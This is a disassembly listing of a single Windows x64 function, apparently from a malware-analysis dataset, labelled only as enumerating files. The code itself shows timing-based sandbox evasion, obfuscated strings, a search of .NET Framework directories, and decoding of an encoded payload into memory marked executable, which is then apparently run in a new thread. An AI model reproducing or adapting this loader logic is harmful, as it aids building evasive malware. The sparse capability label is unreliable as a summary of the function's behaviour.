Function at 0x1800015c0
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x7b0]
sub rsp, 0x8b0
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
lea ebx, [rax + 0x7d0]
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
cmp eax, ebx
jl 0x1800015f0
lea rcx, str.flZHXVBfBgEbV1lf
call fcn.180001150
mov rcx, rax
call fcn.180001230
lea rcx, str.ZltZRFRDXB1RX1k
call fcn.180001150
mov rcx, rax
call fcn.180001230
lea r8, str.C:WindowsMicrosoft.NET_assemblyGAC_MSILSystem
mov edx, 0x104
lea rcx, [rbp + 0x390]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rdx, [0x1800034d4]
lea rcx, [rbp + 0x390]
call qword [0x18000a1f0]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x390]
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
xor r12d, r12d
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000174e
test byte [rsp + 0x30], 0x10
je 0x18000172f
movzx ecx, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5e]
cmp cx, 0x2e
jne 0x1800016ab
test ax, ax
je 0x18000172f
cmp cx, cx
jne 0x1800016ab
cmp ax, cx
jne 0x1800016ab
cmp word [rsp + 0x60], r12w
je 0x18000172f
lea r8, str.C:WindowsMicrosoft.NET_assemblyGAC_MSILSystem
mov edx, 0x104
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x5a0]
call qword [0x18000a1f0]
lea rdx, [0x1800034f8]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x18000172f
lea r8, [rbp + 0x5a0]
mov edx, 0x104
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rdx, [0x1800034d8]
lea rcx, [rbp + 0x180]
call qword [0x18000a1f0]
lea rcx, [rbp + 0x180]
call qword [0x18000a1e8]
test eax, eax
jne 0x180001a4f
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x180001671
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_FindClose]
mov rax, r12
test rax, rax
jne 0x1800019bd
lea r8, str.C:WindowsMicrosoft.NETFramework
mov edx, 0x104
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rdx, [0x1800034d4]
lea rcx, [rbp + 0x5a0]
call qword [0x18000a1f0]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000188d
nop word [rax + rax]
test byte [rsp + 0x30], 0x10
je 0x18000186e
movzx edx, word [rsp + 0x5c]
movzx ecx, word [rsp + 0x5e]
cmp dx, 0x2e
jne 0x1800017ea
test cx, cx
je 0x18000186e
cmp dx, dx
jne 0x1800017ea
cmp cx, dx
jne 0x1800017ea
cmp word [rsp + 0x60], r12w
je 0x18000186e
lea r8, str.C:WindowsMicrosoft.NETFramework
mov edx, 0x104
lea rcx, [rbp + 0x390]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x390]
call qword [0x18000a1f0]
lea rdx, [0x1800034f8]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x18000186e
lea r8, [rbp + 0x390]
mov edx, 0x104
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rdx, [0x1800034d8]
lea rcx, [rbp + 0x180]
call qword [0x18000a1f0]
lea rcx, [rbp + 0x180]
call qword [0x18000a1e8]
test eax, eax
jne 0x180001a80
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x1800017b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_FindClose]
lea r8, str.C:WindowsMicrosoft.NETFramework
mov edx, 0x104
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rdx, [0x1800034d4]
lea rcx, [rbp + 0x5a0]
call qword [0x18000a1f0]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800019bd
nop dword [rax]
test byte [rsp + 0x30], 0x10
je 0x18000199e
movzx edx, word [rsp + 0x5c]
movzx ecx, word [rsp + 0x5e]
cmp dx, 0x2e
jne 0x18000191a
test cx, cx
je 0x18000199e
cmp dx, dx
jne 0x18000191a
cmp cx, dx
jne 0x18000191a
cmp word [rsp + 0x60], r12w
je 0x18000199e
lea r8, str.C:WindowsMicrosoft.NETFramework
mov edx, 0x104
lea rcx, [rbp + 0x390]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x390]
call qword [0x18000a1f0]
lea rdx, [0x1800035b8]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x18000199e
lea r8, [rbp + 0x390]
mov edx, 0x104
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rdx, [0x1800034d8]
lea rcx, [rbp + 0x180]
call qword [0x18000a1f0]
lea rcx, [rbp + 0x180]
call qword [0x18000a1e8]
test eax, eax
jne 0x180001aaa
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x1800018e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_FindClose]
lea r14, str.eFxPWllfVBwAHQUTHWRcXVFcQkAVfWETBAMbAw4TYlpbBQEIFUsDBw4TR0UPAgUBGwQNHQ0AAAQbAgAaFXRQUF5cGgECHQcdDQENAhsGBgQVdVxBUFVaSxoCBgEbAAE
lea r15, str.________________________________________________456789:_________
nop dword [rax + rax]
mov rcx, r14
call fcn.180001150
lea rcx, str.XlpbVBhDXVJHXlRQTB1WXFg
mov rbx, rax
call fcn.180001150
mov rcx, rax
mov rdx, rbx
call fcn.180001360
mov rbx, rax
test rax, rax
je 0x1800019d0
cmp dword [0x18000a0c0], r12d
jne 0x1800019d0
lea rcx, str.CRxFDQ
mov dword [0x18000a0c0], 1
mov dword [rbp + 0x7e0], r12d
call fcn.180001150
lea rcx, str.RlZHRVxQUEAYVlsRCw
mov rsi, rax
call fcn.180001150
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x180001adb
mov rbx, r12
jmp 0x180001af1
lea r9, [rbp + 0x180]
mov qword [rsp + 0x20], 0x104
mov r8d, 0x104
lea rdx, [0x18000a0d0]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
lea rax, [0x18000a0d0]
jmp 0x180001751
lea r9, [rbp + 0x180]
mov qword [rsp + 0x20], 0x104
mov r8d, 0x104
lea rdx, [0x18000a0d0]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
jmp 0x1800019bd
lea r9, [rbp + 0x180]
mov qword [rsp + 0x20], 0x104
mov r8d, 0x104
lea rdx, [0x18000a0d0]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
lea r14, str.eFxPWllfVBwAHQUTHWRcXVFcQkAVfWETBAMbAw4TYlpbBQEIFUsDBw4TR0UPAgUBGwQNHQ0AAAQbAgAaFXRQUF5cGgECHQcdDQENAhsGBgQVdVxBUFVaSxoKDQIbCww
jmp 0x1800019c4
mov byte [rax], r12b
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdi + rbx], r12b
jne 0x180001ae5
add rbx, rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x180001b05
mov byte [rax], r12b
mov rax, rbx
nop dword [rax + rax]
movzx ecx, byte [rax]
inc rax
cmp byte [rcx + r15], 0x3f
jbe 0x180001b10
sub eax, ebx
add eax, 2
jns 0x180001b27
add eax, 3
sar eax, 2
lea ecx, [rax*2 + 1]
add ecx, eax
movsxd rcx, ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
mov rdx, rbx
mov rsi, rax
call section..text
movsxd rdx, eax
lea r9, [rbp + 0x7e0]
mov r8d, 0x40
mov rcx, rsi
call qword [0x18000a200]
mov edi, eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
lea ebx, [rax + 0x7d0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
cmp eax, ebx
jl 0x180001b71
test edi, edi
je 0x1800019d0
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov r8, rsi
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [0x18000a1e0]
mov rcx, rax
mov edx, 0xffffffff
call qword [0x18000a1f8]
jmp 0x1800019d0